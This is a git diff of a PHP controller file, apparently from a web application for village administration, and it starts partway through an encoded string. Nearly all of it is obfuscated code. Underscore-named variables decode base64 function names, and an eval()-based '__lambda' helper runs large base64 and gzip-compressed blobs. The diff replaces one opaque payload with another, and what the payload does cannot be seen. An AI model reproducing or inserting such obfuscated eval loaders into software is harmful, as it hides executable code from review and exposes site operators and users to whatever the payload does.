d+nVSt40wvwofzNX3ffP3ll7//D6u/sdd/Zr/96+tHHi88+54H/3GY8J839P+b/95Pe/137a9fP/Pv2h9j659HYE6h9a+v/wvGp7Mf'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Analisis_master.php b/donjo-app/controllers/Analisis_master.php index 43d104a3a..a9254d393 100644 --- a/donjo-app/controllers/Analisis_master.php +++ b/donjo-app/controllers/Analisis_master.php @@ -268,7 +268,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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